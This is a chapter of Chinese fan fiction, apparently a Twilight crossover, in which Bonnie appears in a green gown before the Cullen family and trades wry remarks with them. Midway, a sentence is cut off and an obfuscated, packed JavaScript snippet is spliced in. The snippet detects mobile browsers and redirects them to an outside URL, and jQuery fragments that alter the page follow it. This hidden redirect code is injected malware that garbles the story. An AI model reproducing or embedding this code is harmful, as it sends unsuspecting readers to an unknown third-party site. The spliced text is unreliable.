楼梯的踏板在她脚下无声。


    裙摆轻轻扫过地毯，每一步落下时，邦妮都能感到一层不属于她日常轨道的空气贴在她的四周。


    不是压迫，也不是羞耻，而是一种缓慢、密闭、带着目光温度的围绕。


    她一手拎着裙边，一手搭着栏杆，顺着楼梯缓缓下行。


    她的手指抓着裙布的动作近乎克制，像是在试图稳定身体某个不太情愿的本能反应。


    邦妮没穿过这样的衣服，更没有在这样被注视的场合穿过。


    每一步的下落，都踩在她自己不熟悉的节奏上。裙摆偶尔拂过她的脚踝，让她感觉像是走在某个她不曾设想过的梦境之中。


    灯光从上方斜落下来，洒在她深绿色的礼服上，使原本冷调的色泽在步伐间浮现出柔和的波光。


    楼下，爱德华站了起来，动作非常轻，几乎没有让沙发发出响动。


    他甚至不是下意识地起身，而是像身体被一种无形牵引所驱动。


    他的眼神定在她的身上，从她出现的那一刻开始就没再挪开。


    他的目光平静，却在她一步步靠近时隐隐带出一种内敛的紧张，如同一场静止的风暴中心。


    那一瞬，所有其他人也都看向了楼梯口。


    第一眼的静默，就像空气被时间切断了一秒。


    艾美特眨了眨眼，嘴角动了动，像是想说些什么又被某种直觉生生拦住了。


    他本来是准备开个玩笑的，或许关于裙子的长度，又或者是“人类穿礼服”的罕见程度。


    但当他看到她出现在楼梯上时，他的大脑一瞬间卡壳了。他不是那种容易被外表震撼到的人，可这一刻，他真有点不确定自己要用哪种语气开场。


    卡莱尔眉眼柔和，埃斯梅则不自觉地将手放在心口，眼中闪过一瞬温柔又意外的波动。


    卡莱尔的思维总是缓慢而全面的，此时，他看见的不只是一个女孩穿上礼服的样子，而是一个心智自持、独立而深沉的个体，在接受一件外物赋予的象征时毫不畏惧地呈现自己的方式。


    而埃斯梅的情绪则更为直接。


    她本能地被那画面感打动了。


    不是因为色彩，也不是剪裁，而是那个女孩站在楼梯上的神情——那种“我知道你们在看我，我也知道我能承受这目光”的态度，让她感到一种母性的柔软瞬间泛起。


    罗莎莉本来斜靠在墙边，听到动静转头一看，神色最初是防备、然后是审视，而最后却在邦妮踏下第三级阶梯时，露出一丝难以忽视的松动。


    她并不是轻易妥协的人。


    她习惯用判断保护边界，用批评压制可能侵蚀她家庭结构的变数。


    但这一刻，她的身体比大脑先一步做出反应。


    不是赞同，不是认同，而是一种近乎生理的微妙缓和。


    她没有说话，只将原本抱臂的手略微松开了一点，像是在默认什么。


    贾斯帕站得最近，他的视线始终落在邦妮脸上，而不是裙子。


    他试图捕捉她在这一刻的情绪波动，哪怕只有那么一丝。


    但依旧是空白。


    他下意识地微蹙眉，像是听一首永远无词的曲子。


    她是无法读取的迷雾，是他感知网络中那唯一的黑点。


    但这反而让他更加专注，因为他清楚，一个连他都无法解读的人，绝对不是弱者。


    “你就站那儿一直盯着看吗？”邦妮终于开口，语气平静地像是在询问今天晚饭菜单。


    她的眼睛投向爱德华，直视，不闪躲。


    爱德华像是刚刚恢复意识般轻咳了一下，移开半步，为她让出一条通向客厅的路径。


    他的手指本来绷紧，此时缓缓松开。


    爱德华感受到那种熟悉的讽刺语调，这让他放心了一点。


    她还是她，并没有因为这身装扮而突然变得温顺或柔弱。


    “你穿这条裙子……很好看。”他说。


    他说出口的时候，语调尽量平静。


    但实际上，他脑海中的词汇远比这句多得多，但他知道，她不需要那些话。


    “你是说‘符合你预期的那种好看’，”邦妮走下最后一阶，站在众人之间的光线正中，“还是说，你选这条裙子的时候，就想象过这一幕？”


    “后者。”他没有犹豫，“我想象过。”


    爱德华此刻并没有觉得羞耻或后悔。


    邦妮能问出这句，就说明她并不反感这种“预设”。


    他只需要如实作答。不解释的解释，有时候才是最被接受的方式。


    “那你想象得不够周到。”她挑眉，“你没考虑我可能踩着裙摆从楼上滚下来？”


    “如果你真的摔下来，”艾美特忽然插嘴，脸上挂着憋笑的表情，“我赌罗莎莉会在半空中把你接住——”


    他终于找回了一点自己的节奏，在一片充满张力的氛围中找到了那个可以适度发泄调侃的缝隙。


    艾美特说这话的时候，眼神其实偷偷往罗莎莉那儿瞟了一眼，看她会不会直接出手揍他。


    “别拿我来编段子。”罗莎莉冷冷道，“我可不是紧急救护服务。”


    她的回应没让人失望，但语气已经比过去几次柔和了些许。


    对罗莎莉来说，这已经是间接性的让步。她依然防备，但不再排斥。


    邦妮看了她一眼，眼神里没有敌意，只有淡然，“我不需要别人接。”


    她说这话时语气平缓，却让贾斯帕的视线不自觉又深了几分。


    爱丽丝从后面跟下来，轻拍了拍她的肩膀，声音轻快，神情雀跃，“你还需要个配套的包包和高跟鞋吗？我可以五分钟内找出来。”


    她几乎是为这一刻活着的，能看见一个她认可的女性穿上她兄长亲自挑选的裙子，这比任何一场舞会都值得记录。


    “你要是再多往我身上加装饰，我可能真会在你衣帽间里原地燃烧。”邦妮吐槽。


    埃斯梅走近了一些，声音温柔又诚恳：“邦妮，真的，你今天……很美。不是那种装出来的美，而是你让这条裙子变得有生命。”


    这句话，让本来还有点架势的邦妮眉梢轻动了一下。


    她不擅长应对这种过分柔和又真诚的夸奖。


    于是她只简短地回了一句：“谢谢。”


    卡莱尔也走过来，眼神如往常那般安静从容，“我们看得出你不是为了取悦谁才穿上它的。”


    “当然不是。”她语气坚定，“我只是穿上它，来看看你们会露出什么样的脸。”


    “你成功了。”爱丽丝含笑接话，“你让整间屋子陷入了五秒钟的静默。”


    艾美特举起双手，做出一副投降状，“我认输。我本来打算用‘穿礼服的人类女孩’这个话题调侃到晚上九点的。”


    罗莎莉轻哼一声：“至少她没穿上那件红色绒面礼服。那件才是真正的灾难。”


    她的声音里还是带着标志性的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663247|168748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刀锋味道，但如果仔细分辨，会发现那不是针对邦妮，而是对衣服本身的蔑视。


    罗莎莉从不否认自己在美学上有过失误的历史，尽管她不轻易承认任何人有资格指摘。


    但这一次，她愿意让那件绒面礼服成为话题牺牲品，也好借此化解内心对邦妮穿着绿裙所带来的细微压力。


    “那是你当年自己亲自选的。”爱丽丝毫不犹豫地指出，语气中夹杂着调皮又熟稔的恶意。


    “那是九十年代的流行。”罗莎莉强调，抬起一边眉毛，神色淡淡地扫过爱丽丝，“不代表我现在还会认同。”


    “我们把邦妮拉来，是为了审美评判大会吗？”贾斯帕终于说话，语气平和但带点玩笑意味，“我以为我们是请她来吃点东西。”


    他目光依旧落在邦妮身上，但此时他的注意力其实已经转移到众人的情绪交错上。


    即使他无法读取邦妮的情绪，他仍能感知出其余人之间微妙的情感波动。


    艾美特的兴奋带着一点新奇玩具般的轻浮好奇，罗莎莉的防御正在缓缓松动，爱丽丝的欢喜则如流水般溢出全身，而爱德华——


    他从未见过自己这个兄弟在任何场合表现出如此明显的关注和……小心。


    贾斯帕的眸光略沉，他清楚，这种小心不是恐惧，而是“太在意而不能轻举妄动”的表现。


    “你知道她可能不会吃这些。”爱丽丝轻快地应和。


    “我可以继续喝茶。”邦妮补了一句，然后随手将披肩从肩上扯下搭在椅背，“只要你们不往里面加血。”


    而这句话让艾美特忍不住笑出了声，立刻调侃道：“那是罗莎莉的专属茶点。”艾美特凑近，“她只在心情不佳的时候饮用。”


    他笑着看向罗莎莉，准备迎接她的白眼或者警告。


    罗莎莉果然冷冷地扫了他一眼，眼里满是不屑，仿佛下一秒她就能把他的脑袋塞进厨房冰箱。


    她没有接话，这一次没有尖锐地反击，大概是因为邦妮那句话里确实有她喜欢的调调，直接、讽刺，又带一点挑衅的自信。


    她只站在原地，用极轻的一个点头将这份认可藏在了动作里，不让人轻易察觉。


    罗莎莉将目光再次落在邦妮身上，这次却不是挑剔。


    而是一种——若是换个时机、换个身份，她或许会欣赏这个女孩的复杂与胆量。


    “你刚才说你穿这件裙子不是为了他，”她忽然开口，语气没有一丝掩饰，“那你现在是不是该告诉我们，为了什么？”


    邦妮偏头看着她，没有躲避。


    “为了我。”她说，“就这么简单。”


    这句简单的回应，在空气里短暂地击打出了沉响。


    屋内静了一下。


    不是那种令人尴尬的沉默，而是那种被突然击中后的空白。


    然后，罗莎莉点了点头，“很好。”


    她的嘴角没有笑意，但她没有反驳，也没有再审视。


    罗莎莉退回到她的位置，靠在原先的墙面，像是完成了某种私人检验，结果不算完美，但可接受。


    她没有再说什么，也没有走近，只是在原地退了一步，转身靠回她先前的位置，像是完成了某种验证。


    贾斯帕若有所思地注视着邦妮，而爱德华，那双琥珀色的眼睛在她说出“为了我”时微不可查地颤了一下。


    她不是为他而穿。


    但她最后还是穿了。


    那就足够了。